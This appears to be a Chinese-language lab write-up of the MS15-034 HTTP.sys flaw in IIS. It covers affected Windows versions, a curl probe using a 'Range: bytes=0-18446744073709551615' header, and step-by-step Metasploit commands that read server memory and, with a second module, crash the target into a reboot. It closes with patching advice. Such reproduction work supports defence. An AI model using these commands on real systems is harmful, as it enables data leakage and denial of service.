漏洞详情:
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。 通过修改 Windows HTTP 堆栈处理请求的方式,安装更新可以修复此漏洞。
Microsoft 通过协同的漏洞披露渠道了解到此漏洞的信息。 在最初发布此安全公告时,Microsoft 未收到任何表明此漏洞已公开用于攻击用户的信息。
影响版本:
Windows Server 2012 R2
Windows Server 2012
Windows Server 2008 R2
Windows 8.1
Windows 8
Windows 7
漏洞判定:
一、是否受影响版本。
二、有没有安装补丁KB3042553
漏洞验证:
一、环境搭建
靶机参数:Windows server 2008 R2 SP1
靶机配置:IIS
攻击机参数:Kali(或安装有msfconsole的任意Linux/Windows操作系统)
靶机Windows server 2008 R2 SP1开启IIS:
以默认选项安装即可:
安装完成:
打开IIS管理器查看默认网站情况:
访问测试:此时IIS已开启成功,网站正常运行
二、漏洞复现
攻击机发送一条测试请求,在请求头中添加参数“Range: bytes=0-18446744073709551615”
当回复出现Requested Range Not Satisfiable时则说明该漏洞是存在的
curl http://192.168.127.135 -H "Host: 192.168.127.135" -H "Range: bytes=0-18446744073709551615"
打开工具msfconsole:
msfconsole
搜索漏洞并选择攻击模块读取服务器内存数据:
search ms15-034
use 1
查看模块参数,yes是需要设置的参数,除Rhosts外其余参数均有并可使用默认值:
show options
设置Rhosts参数:
set rhosts 192.168.127.135
执行攻击并成功取得内存数据:
run
但是,此漏洞的危害性远不及此。。。。。。
还记得当时在msfconsole里搜索ms-15-034的时候,我们选择了第二个攻击模块以读取服务器内存数据。
那么第一个即编号0的模块是做什么用的呢?
答案是可以让目标主机死机蓝屏重启。
这里我们重新搜索漏洞并选择攻击模块让其死机蓝屏重启:
search ms15-034
use 0
同样的查看模块参数,yes是需要设置的参数,除Rhosts外其余参数均有并可使用默认值:
show options
再次设置Rhosts参数:
set rhosts 192.168.127.135
执行攻击,这里给出攻击前后对比:
靶机瞬间重启,以至于差点没来得及截屏。
漏洞修复及建议
一、修复方式: 禁用IIS内核缓存(可能降低IIS性能) / 升级补丁KB3042553
二、修复建议:
禁用IIS内核缓存(可能降低IIS性能)
升级补丁KB3042553
从微软官方下载补丁:
Microsoft 安全公告 MS15-034 - 严重 | Microsoft Docs
找到对应操作系统的补丁包下载地址并下载安装
安装补丁: